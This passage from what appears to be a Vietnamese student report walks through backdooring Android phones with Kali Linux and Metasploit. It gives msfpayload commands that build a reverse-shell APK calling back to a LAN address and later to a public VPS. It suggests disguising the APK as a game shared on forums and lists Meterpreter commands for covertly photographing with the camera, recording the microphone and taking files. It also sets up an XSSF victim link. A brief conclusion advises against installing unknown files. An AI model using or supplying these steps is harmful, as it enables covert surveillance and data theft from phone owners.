  • 69. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 69 4.4.1. Tạo lập Backdoor Tiếp theo ta sẽ tiến hành xâm nhập và điều khiển Android bằng Kali Linux. Đầu tiên ta cần tạo 1 file apk có chứa backdoor bằng cách: Đầu tiên mở terminal và gõ dòng lệnh ifconfig để biêt thông tin ip của máy. Sử dụng lệnh msfpayload android/meterpreter/reverse_tcp lhost=192.168.220.128 lport=8080 R > /root/Desktop/App.apk để tạo backdoor. Với 192.168.220.128 là ip đã tìm được ở trên. Lệnh trên sẽ tạo ra 1 file app.apk trên desktop của Kali, đây chính là một Metasploit reverse tcp backdoor.
  • 70. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 70 Tiếp theo, gõ lệnh msfconsole Sau khi msfconsile load xong, ta tạo một handler để xử lí dữ liệu truyền về bằng cách gõ lệnh sau: use exploit/multi/handler set payload /meterpreter/reverse_tcp set lhost 192.168.220.128 – nhập địa chỉ IP giống với khi tạo payload ở trên. set port 8080 – nhập port giống với port khi tạo payload ở trên. exploit Màn hình sẽ như sau, lúc này ta đang chờ một máy android mở backdoor.
  • 71. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 71 Đến đây, vấn đề của chúng ta là làm sao để phân tán file chứa backdoor App.apk đến các máy Android. Ta có thể ngụy trang file App.apk thành một ứng dụng, game va tiến hành chia sẻ trên forum. Ở đây thử với một máy Sony Xperia Z giả lập, tải về app.apk, cài đặt và mở lên được giao diện như dưới, nhấp vào nút reverse_tcp:
  • 72. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 72 Vậy là ta đã kết nối thành công tới máy Android này, ở msfconsole sẽ như sau: Để xem tất cả các lệnh hỗ trợ nhập help
  • 73. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 73 Để xem thông tin về máy, nhập lệnh SysInfo Xem thông tin card mạng nhập lệnh ipconfig:
  • 74. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 74 Sử dụng camera: Để xem danh sách camera, nhập webcam_list Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera xem ở danh sách camera ở phần trước. Ví dụ như sau: File hình đã chụp từ camera của máy android là RbWBRryj.jpeg được lưu ở /root của máy Ghi âm Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy Ta được file ghi âm
  • 75. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 75 Lấy file từ sd card Để vào sdcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư mục Ví dụ ở đây, ta tải file App.apk trong thư mục sdcard.dùng lệnh download App.apk Và file này sẽ được tải về thư mục root của máy Kali
  • 76. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 76 Nhập lệnh shell để điều khiển máy trong chế độ shell. Tai đây ta nhập lệnh ls –l để xem các file và quyền hạn cần để sử dụng. Như các bạn cũng thấy thư muc data cần quyền hạn cao nhất để tiến hành sử dụng. Mà các dữ liệu quan trọng như Contacts, SMS, tài khoản đồng bộ Google… đều được lưu tại đây. Vi thế ta chỉ có thể lấy cắp các thông tin này nếu như máy Android bị xâm nhập đã được root (hack chiếm quyền điều khiển cao nhất). 4.4.2. XSSF Để cài đặt XSSF cho kali sử sụng 3 câu lệnh:  msfupdate  cd /opt/metasploit/apps/pro/msf3
  • 77. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 77  svn export http://xssf.googlecode.com/svn/trunk ./ --force Xài lệnh trên hình để vào XSSF
  • 78. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 78 Tiếp tục là lệnh  Xssf_urls Ta thấy XSSF LOG PAGE : http://192.168.220.128:80/xssf/gui.html?guipage=main ,mở trình duyệt để vào địa chỉ này để vào giao diện XSSF
  • 79. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 79 Địa chỉ gửi cho điện thoại nạn nhân là: http://192.168.220.128:80/xssf/test.html Kết quả trên terminal khi có diện thoại Android vào link này: Lệnh xssf_victim dùng để hiện thong tin nạn nhân
  • 80. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 80 Lệnh xssf_information dùng để hiện thông tin nạn nhân chi tiết hơn
  • 81. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 81 Tiếp tục lệnh search auxiliary/xssf để để xem tất cả các lệnh được hỗ trợ
  • 82. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 82 Refesh lại lại trang web sẽ thấy thông tin nạn nhân Ví dụ: sử dụng lệnh alert để cảnh báo nạn nhân:
  • 83. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 83 Gõ run để thực hiện lệnh 5. Kết luận Như vậy, ta đã tìm hiểu về Kali Linux, các cải tiến của nó so với BackTrack. Cách sử dụng Metasploit của Kali Linux để xâm nhập và điều khiển, truyền dữ liệu từ máy Android về máy. Sau khi thử nghiệm cách tấn công này, ta rút ra không nên nhấp vào link lạ hay tải về và chạy file lạ trên máy android để bảo đảm không cài nhầm backdoor như đã thấy ở trên, không tiến hành root may nếu không thực sự cần thiết vì chỉ cần máy bị nhiễm backdoor là ta đã có thể xem như có toàn quyền kiểm soát máy Android đó.
  • 84. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 84 Chương II:Làm trên VPS 1. Giới thiệu về VPS: 1.1. Định nghĩa Máy chủ ảo (Virtual Private Server -VPS) là phương pháp phân chia một máy chủ vật lý thành nhiều máy chủ ảo. Trong khi trên một server chạy một Share Host thì có thể có hàng trăm tài khoản chạy cùng lúc, nhưng trên server chạy VPS thì con số này chỉ bằng 1/10. Do vậy, VPS có hiệu năng cao hơn Share Host rất nhiều. Mỗi máy chủ là một hệ thống hoàn toàn riêng biệt, có hệ điều hành riêng, có toàn quyền quản lý root và có thể restart lại hệ thống bất cứ lúc nào. Do vậy, VPS hạn chế 100% khả năng bị hack local. Trên 1 server chạy Share Host có nhiều Website chạy chung với nhau, chung tài nguyên server, nếu 1 Website bị tấn công Ddos, botnet quá mạnh sẽ làm ảnh hưởng đến các Website khác cùng server, riêng server VPS, một tài khoản trên VPS bị tấn công thì mọi tài khoản khác trên VPS đều hoạt động bình thường. VPS dành cho các doanh nghiệp vừa và những trang Web lớn hoặc mã nguồn nặng, nếu chạy trên Share Host sẽ không đáp ứng đủ yêu cầu.Tuy nhiên, VPS đòi hỏi người sử dụng phải có thêm một số kiến thức về bảo mật, cấu hình server,…. 1.2. Đặc điểm về thông số VPS Hoạt động hoàn toàn như một server riêng nên sở hữu một phần CPU riêng, dung lượng RAM riêng, dung lượng ổ HDD riêng, địa chỉ IP riêng và hệ điều hành riêng. Tiết kiệm được nhiều chi phí so với việc thuê một server riêng. Ngoài việc dùng VPS để thiết lập Web Server, Mail Server cũng như các ứng dụng khác thì có thể cài đặt để thực hiện những yêu cầu riêng như truy cập Web bằng trình duyệt Web trên VPS, dowload/upload bittorrent với tốc độ cao… Trong trường hợp VPS bị thiếu tài nguyên thì có thể dễ dàng nâng cấp tài nguyên mà không cần phải khởi động lại hệ thống. Có thể cài lại hệ điều hành với thời gian từ 5-10 phút. 1.3. Giá trị khi sử dụng VPS Server mạnh với nhiều cấu hình cho phép khách hàng dễ dàng lựa chọn gói VPS phù hợp.
  • 85. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 85 Miễn phí chi phí cài đặt ban đầu cũng như cấu hình hoạt động cho khác hàng. Hỗ trợ khác hàng cài đặt miễn phí thêm các phần mềm riêng. Được cấu hình và cài đặt hệ thống Firewall và DDOS Protection. Bộ phận kỹ thuật kịp thời can thiệp nhanh chóng nếu có sự cố phát sinh. 2. Cài đặt mã độc trên VPS: 2.1. Giới thiệu Metasploit Framework là một môi trường dùng để kiểm tra, tấn công và khai thác lỗi của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những components được viết bằng C, assembler, và Python. Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS. Ta có thể download chương trình tại www.metasploit.com 2.2. Các thành phần của Metasploit 2.2.1. Metasploit hỗ trợ nhiều giao diện với người dùng - Console interface: dùng msfconsole.bat. Msfconsole interface sử dụng các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn - Web interface: dùng msfweb.bat, giao tiếp với người dùng thông qua giao diện web - Command line interface: dùng msfcli.bat 2.2.2. Enviroment - Global Enviroment: được thực thi thông qua 2 câu lệnh setg và unsetg, những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits - Temporary Enviroment: được thực thi thông qua 2 câu lệnh set và unset, enviroment này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng đến các module exploit khác Ta có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save. Môi trường đó sẽ được lưu trong /.msf/config và sẽ được load trở lại khi user interface được thực hiện Những options nào mà chung giữa các exploits module như là: LPORT, LHOST, PAYLOAD thì ta nên được xác định ở Global Enviroment vd: msf> setg LPORT 80 msf> setg LHOST 172.16.8.2
  • 86. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 86 2.3. Cài đặt Metasploit Community Trên hệ điều hành windows Bước 1: Tải gói cài đặt của Metasploit, ở đây ta có 2 phiên bản là Pro và Community. Ta chọn phiên bản Community miễn phí và dùng cho nghiên cứu. Bước 2: Điền họ và tên, nghề nghiệp, tên công ty và email để nhận key kích hoạt
  • 87. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 87 Bước 3: Sau khi tải về gói cài đặt của Metasploit Community ta cài đặt như những phần mềm khác. Chọn folder cài đặt:
  • 88. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 88 Cổng của dịch vụ Metasploit sẽ sử dụng, mặc định là 3790: Chọn server và ngày hết hạn, để mặc định:
  • 89. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 89 Quá trình cài đặt của Metasploit: Bước 4: Tiến trình hoàn tất, chọn Finish và truy cập đến giao diện web của chương trình:
  • 90. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 90 Bước 5: Sau khi Finish trình duyệt web mở lên và đi tới giao diện Click vào link: https://localhost:3790/ sẽ dẫn đến trang tạo tài khoản để login vào Metasploit. Điền Username, Password sử dụng và một số thông tin bổ xung, rồi chọn Create Account:
  • 91. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 91 Bước 6: Trình duyệt chuyển đến trang nhập key để active chương trình, key này được gửi miễn phí đến mail khi tải phần mềm. Sau khi điền key nhấn Activate License: Trên hệ điều hành Ubuntu Bước 1: Tải gói cài đặt của Metasploit, ở đây ta có 2 phiên bản là Pro và Community. Ta chọn phiên bản Community miễn phí và dùng cho nghiên cứu.
  • 92. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 92 Tải về phiên bản phù hợp
  • 93. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 93 Bước 2:Bật terminal Thay đổi chế độ của trình cài đặt được thực thi. Đối với hệ thống 64-bit: chmod + x /path/to/metasploit-mới nhất-linux-x64-installer.run Đối với hệ thống 32-bit: chmod + x /path/to/metasploit-mới nhất-linux-installer.run Chọn một trong các tùy chọn dưới đây để chạy trình cài đặt: Đối với hệ thống 64-bit: sudo /path/to/metasploit-mới nhất-linux-x64-installer.run Đối với hệ thống 32-bit: sudo /path/to/metasploit-mới nhất-linux-installer.run Bước 3: Khi cửa sổ cài đặt xuất hiện, nhấp Forward để bắt đầu quá trình cài đặt bình thường như trong windows.
  • 94. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 94 Chấp nhận các thỏa thuận cấp phép và nhấp vào Chuyển tiếp. Chọn một thư mục cài đặt và nhấp vào Chuyển tiếp.
  • 95. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 95 Chọn Yes để đăng ký Metasploit như một dịch vụ (đề nghị). Nhấn vào Forward để tiếp tục. Khi Disable Anti-virus và tường lửa cửa sổ xuất hiện, xác minh rằng máy tính của bạn không có phần mềm chống virus hoặc tường lửa ứng dụng đang chạy. Nhấn vào Forwardwhen bạn đã sẵn sàng.
  • 96. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 96 Nhập số cổng mà bạn muốn dịch vụ Metasploit để sử dụng. Các cổng mặc định là 3790. Nhấp Forwardto tiếp tục. Nhập tên máy chủ sẽ được sử dụng để tạo ra các chứng chỉ SSL và số ngày mà bạn muốn chứng chỉ SSL để vẫn có hiệu lực.
  • 97. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 97 Bước 4: Click Forward để tiếp tục. Quá trình cài đặt bắt đầu. Khi Finish trình duyệt web mở lên và đi tới giao diện Click vào link: https://localhost:3790/ sẽ dẫn đến trang tạo tài khoản để login vào Metasploit. Điền Username, Password sử dụng và một số thông tin bổ xung, rồi chọn Create Account:
  • 98. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 98 Bước 5: Trình duyệt chuyển đến trang nhập key để active chương trình, key này được gửi miễn phí đến mail khi tải phần mềm. Sau khi điền key nhấn Activate License: 3. Từ VPS xâm nhập vào thiết bị Android: Các bước thực hiện Bước 1:Sử dụng Kali Linux để tạo file APK làm backdoor để hack vào Android như trên mang Lan với địa chỉ IP là địa chỉ của VPS Chúng ta vẫn sử dụng lệnh “Msfpayload android/meterpreter/reverse_tcp lhost=14.0.21.184 lport=4444 R > /root/Desktop/nice.apk” ở đây địa chỉ VPS là 14.0.21.184
  • 99. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 99 Bước 2:Khởi động Metasploit Console trên VPS Bước 3: Chúng ta thực hiện các bước xâm nhập như đã đề cập ở phần trên, ở đây chỉ khác là sử dụng chính IP của VPS Chú ý: lhost và lport phải giống với lhost và lport khi tạo backdoor
  • 100. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 100 Bước 4: Sau khi máy nạn nhân tải về file apk đã được tạo ra, máy android khi mở ứng dụng đó lên đó sẽ bị hack Bước 5: Sử dụng lệnh Help để xem các lệnh được metasploit hỗ trợ
  • 101. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 101  Để xem các lệnh ta gõ help  Để xem thông tin về máy, nhập lệnh SysInfo  Để xem các tác vụ đang chạy gõ ps  Để upload gõ lệnh upload  Xem ip gõ ipconfig  Để di chuyển đến thư mục nào ta dụng lệnh cd <đường dẫn đến thư mục>
  • 102. GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH 102  Lệnh ls để xem trong thư mục có những gì • Sử dụng camera: Để xem danh sách camera, nhập webcam_list Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera xem ở danh sách camera ở phần trước hay sau.